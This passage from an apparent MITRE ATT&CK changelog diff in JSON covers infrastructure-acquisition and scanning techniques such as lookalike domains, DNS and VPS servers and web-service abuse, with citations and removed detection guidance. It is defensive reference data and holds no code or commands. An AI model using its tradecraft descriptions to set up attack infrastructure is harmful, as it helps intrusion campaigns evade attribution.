Compromise](https://attack.mitre.org/techniques/T1195).\n\n**Note:** while this technique is distinct from other behaviors such as [Purchase Technical Data](https://attack.mitre.org/techniques/T1597/002) and [Credentials](https://attack.mitre.org/techniques/T1589/001), they may often be used in conjunction (especially where the acquired foothold requires [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
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+ "phase_name": "resource-development"
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+ "source_name": "Krebs Access Brokers Fortune 500",
+ "description": "Brian Krebs. (2012, October 22). Service Sells Access to Fortune 500 Firms. Retrieved March 10, 2023.",
+ "url": "https://krebsonsecurity.com/2012/10/service-sells-access-to-fortune-500-firms/"
+ },
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+ "source_name": "CrowdStrike Access Brokers",
+ "description": "CrowdStrike Intelligence Team. (2022, February 23). Access Brokers: Who Are the Targets, and What Are They Worth?. Retrieved March 10, 2023.",
+ "url": "https://www.crowdstrike.com/blog/access-brokers-targets-and-worth/"
+ },
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+ "source_name": "CISA Karakurt 2022",
+ "description": "Cybersecurity Infrastructure and Defense Agency. (2022, June 2). Karakurt Data Extortion Group. Retrieved March 10, 2023.",
+ "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-152a"
+ },
+ {
+ "source_name": "Microsoft Ransomware as a Service",
+ "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.",
+ "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"
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+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.997000+00:00\", \"old_value\": \"2025-04-15 21:43:51.840000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Much of this takes place outside the visibility of the target organization, making detection difficult for defenders. \\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. \"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0884: Detection of Acquire Access"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 00:40:45.279000+00:00",
+ "modified": "2025-10-24 17:48:27.611000+00:00",
+ "name": "DNS Server",
+ "description": "Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations.\n\nBy running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1583/002",
+ "external_id": "T1583.002"
+ },
+ {
+ "source_name": "Unit42 DNS Mar 2019",
+ "description": "Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.",
+ "url": "https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:27.611000+00:00\", \"old_value\": \"2025-04-15 22:14:14.654000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1056: Pre-compromise"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0862: Detection of DNS Server"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-09-30 17:09:31.878000+00:00",
+ "modified": "2025-10-24 17:48:42.246000+00:00",
+ "name": "Domains",
+ "description": "Adversaries may acquire domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free.\n\nAdversaries may use acquired domains for a variety of purposes, including for [Phishing](https://attack.mitre.org/techniques/T1566), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), and Command and Control.(Citation: CISA MSS Sep 2020) Adversaries may choose domains that are similar to legitimate domains, including through use of homoglyphs or use of a different top-level domain (TLD).(Citation: FireEye APT28)(Citation: PaypalScam) Typosquatting may be used to aid in delivery of payloads via [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). Adversaries may also use internationalized domain names (IDNs) and different character sets (e.g. Cyrillic, Greek, etc.) to execute \"IDN homograph attacks,\" creating visually similar lookalike domains used to deliver malware to victim machines.(Citation: CISA IDN ST05-016)(Citation: tt_httrack_fake_domains)(Citation: tt_obliqueRAT)(Citation: httrack_unhcr)(Citation: lazgroup_idn_phishing)\n\nDifferent URIs/URLs may also be dynamically generated to uniquely serve malicious content to victims (including one-time, single use domain names).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique)\n\nAdversaries may also acquire and repurpose expired domains, which may be potentially already allowlisted/trusted by defenders based on an existing reputation/history.(Citation: Categorisation_not_boundary)(Citation: Domain_Steal_CC)(Citation: Redirectors_Domain_Fronting)(Citation: bypass_webproxy_filtering)\n\nDomain registrars each maintain a publicly viewable database that displays contact information for every registered domain. Private WHOIS services display alternative information, such as their own company data, rather than the owner of the domain. Adversaries may use such private WHOIS services to obscure information about who owns a purchased domain. Adversaries may further interrupt efforts to track their infrastructure by using varied registration information and purchasing domains with different domain registrars.(Citation: Mandiant APT1)\n\nIn addition to legitimately purchasing a domain, an adversary may register a new domain in a compromised environment. For example, in AWS environments, adversaries may leverage the Route53 domain service to register a domain and create hosted zones pointing to resources of the threat actor\u2019s choosing.(Citation: Invictus IR DangerDev 2024)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
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+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1583/001",
+ "external_id": "T1583.001"
+ },
+ {
+ "source_name": "URI Unique",
+ "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
+ "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
+ },
+ {
+ "source_name": "PaypalScam",
+ "description": "Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017.",
+ "url": "https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/"
+ },
+ {
+ "source_name": "CISA IDN ST05-016",
+ "description": "CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.",
+ "url": "https://us-cert.cisa.gov/ncas/tips/ST05-016"
+ },
+ {
+ "source_name": "CISA MSS Sep 2020",
+ "description": "CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.",
+ "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-258a"
+ },
+ {
+ "source_name": "bypass_webproxy_filtering",
+ "description": "Fehrman, B. (2017, April 13). How to Bypass Web-Proxy Filtering. Retrieved September 20, 2019.",
+ "url": "https://www.blackhillsinfosec.com/bypass-web-proxy-filtering/"
+ },
+ {
+ "source_name": "FireEye APT28",
+ "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
+ "url": "https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
+ },
+ {
+ "source_name": "Invictus IR DangerDev 2024",
+ "description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
+ "url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
+ },
+ {
+ "source_name": "Domain_Steal_CC",
+ "description": "Krebs, B. (2018, November 13). That Domain You Forgot to Renew? Yeah, it\u2019s Now Stealing Credit Cards. Retrieved September 20, 2019.",
+ "url": "https://krebsonsecurity.com/2018/11/that-domain-you-forgot-to-renew-yeah-its-now-stealing-credit-cards/"
+ },
+ {
+ "source_name": "tt_obliqueRAT",
+ "description": "Malhotra, A., McKay, K. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal . Retrieved July 29, 2022.",
+ "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
+ },
+ {
+ "source_name": "tt_httrack_fake_domains",
+ "description": "Malhotra, A., Thattil, J. et al. (2022, March 29). Transparent Tribe campaign uses new bespoke malware to target Indian government officials . Retrieved September 6, 2022.",
+ "url": "https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html"
+ },
+ {
+ "source_name": "Mandiant APT1",
+ "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+ },
+ {
+ "source_name": "Categorisation_not_boundary",
+ "description": "MDSec Research. (2017, July). Categorisation is not a Security Boundary. Retrieved September 20, 2019.",
+ "url": "https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/"
+ },
+ {
+ "source_name": "URI",
+ "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
+ "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
+ },
+ {
+ "source_name": "Redirectors_Domain_Fronting",
+ "description": "Mudge, R. (2017, February 6). High-reputation Redirectors and Domain Fronting. Retrieved July 11, 2022.",
+ "url": "https://www.cobaltstrike.com/blog/high-reputation-redirectors-and-domain-fronting/"
+ },
+ {
+ "source_name": "URI Use",
+ "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
+ "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
+ },
+ {
+ "source_name": "iOS URL Scheme",
+ "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
+ "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
+ },
+ {
+ "source_name": "lazgroup_idn_phishing",
+ "description": "RISKIQ. (2017, December 20). Mining Insights: Infrastructure Analysis of Lazarus Group Cyber Attacks on the Cryptocurrency Industry. Retrieved July 29, 2022.",
+ "url": "https://web.archive.org/web/20171223000420/https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/"
+ },
+ {
+ "source_name": "httrack_unhcr",
+ "description": "RISKIQ. (2022, March 15). RiskIQ Threat Intelligence Roundup: Campaigns Targeting Ukraine and Global Malware Infrastructure. Retrieved July 29, 2022.",
+ "url": "https://web.archive.org/web/20220527112908/https://www.riskiq.com/blog/labs/ukraine-malware-infrastructure/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
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+ "Vinayak Wadhwa, Lucideus",
+ "Deloitte Threat Library Team",
+ "Oleg Kolesnikov, Securonix",
+ "Menachem Goldstein",
+ "Nikola Kovac"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
+ "PRE"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Domain Name: Passive DNS\", \"Domain Name: Domain Registration\", \"Domain Name: Active DNS\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.246000+00:00\", \"old_value\": \"2025-04-15 22:23:15.751000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n\\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020)\\n-\\n-Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.\"}}}",
+ "previous_version": "1.4",
+ "changelog_mitigations": {
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+ ],
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+ "shared": [],
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+ "DS0038: Domain Name (Domain Registration)",
+ "DS0038: Domain Name (Passive DNS)"
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+ "shared": [],
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+ "DET0892: Detection of Domains"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 00:48:09.578000+00:00",
+ "modified": "2025-10-24 17:48:50.911000+00:00",
+ "name": "Server",
+ "description": "Adversaries may buy, lease, rent, or obtain physical servers\u00a0that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1583/004",
+ "external_id": "T1583.004"
+ },
+ {
+ "source_name": "Freejacked",
+ "description": "Clark, Michael. (2023, August 14). Google\u2019s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.",
+ "url": "https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"
+ },
+ {
+ "source_name": "Free Trial PurpleUrchin",
+ "description": "Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.",
+ "url": "https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"
+ },
+ {
+ "source_name": "Koczwara Beacon Hunting Sep 2021",
+ "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
+ "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
+ },
+ {
+ "source_name": "Mandiant SCANdalous Jul 2020",
+ "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ },
+ {
+ "source_name": "NYTStuxnet",
+ "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
+ "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
+ }
+ ],
+ "object_marking_refs": [
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+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Dor Edry, Microsoft"
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
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+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Metadata\", \"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.911000+00:00\", \"old_value\": \"2025-04-15 23:05:58.721000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
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+ "DS0035: Internet Scan (Response Metadata)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0871: Detection of Server"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 00:44:23.935000+00:00",
+ "modified": "2025-10-24 17:48:59.607000+00:00",
+ "name": "Virtual Private Server",
+ "description": "Adversaries may rent Virtual Private Servers (VPSs)\u00a0that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.\n\nAcquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1583/003",
+ "external_id": "T1583.003"
+ },
+ {
+ "source_name": "Koczwara Beacon Hunting Sep 2021",
+ "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
+ "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
+ },
+ {
+ "source_name": "TrendmicroHideoutsLease",
+ "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.",
+ "url": "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
+ },
+ {
+ "source_name": "Mandiant SCANdalous Jul 2020",
+ "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ ],
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "PRE"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\", \"Internet Scan: Response Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:59.607000+00:00\", \"old_value\": \"2025-04-15 23:18:46.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.\"}}}",
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+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0035: Internet Scan (Response Content)",
+ "DS0035: Internet Scan (Response Metadata)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0838: Detection of Virtual Private Server"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-01 00:50:29.936000+00:00",
+ "modified": "2025-10-24 17:49:04.554000+00:00",
+ "name": "Web Services",
+ "description": "Adversaries may register for web services\u00a0that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566). Using common services, such as those offered by Google, GitHub, or Twitter, makes it easier for adversaries to hide in expected noise.(Citation: FireEye APT29)(Citation: Hacker News GitHub Abuse 2024) By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "resource-development"
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1583/006",
+ "external_id": "T1583.006"
+ },
+ {
+ "source_name": "Hacker News GitHub Abuse 2024",
+ "description": "Dvir Sasson. (2024, May 13). GitHub Abuse Flaw Shows Why We Can't Shrug Off Abuse Vulnerabilities in Security. Retrieved March 31, 2025.",
+ "url": "https://thehackernews.com/expert-insights/2024/05/github-abuse-flaw-shows-why-we-cant.html"
+ },
+ {
+ "source_name": "FireEye APT29",
+ "description": "FireEye Labs. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved November 17, 2024.",
+ "url": "https://services.google.com/fh/files/misc/rpt-apt29-hammertoss-stealthy-tactics-define-en.pdf"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
+ }
+ ],
+ "object_marking_refs": [
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+ ],
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+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "shared": [],
+ "new": [
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+ "dropped": []
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:53:16.526000+00:00",
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+ "name": "Active Scanning",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "reconnaissance"
+ }
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1595",
+ "external_id": "T1595"
+ },
+ {
+ "source_name": "Botnet Scan",
+ "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020.",
+ "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf"
+ },
+ {
+ "source_name": "OWASP Fingerprinting",
+ "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020.",
+ "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting"
+ }
+ ],
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+ "x_mitre_domains": [
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+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
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+ "new": [],
+ "dropped": [
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+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0830: Detection of Active Scanning"
+ ],
+ "dropped": []
+ }
+ },
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-02 16:54:23.193000+00:00",
+ "modified": "2025-10-24 17:49:28.603000+00:00",
+ "name": "Scanning IP Blocks",
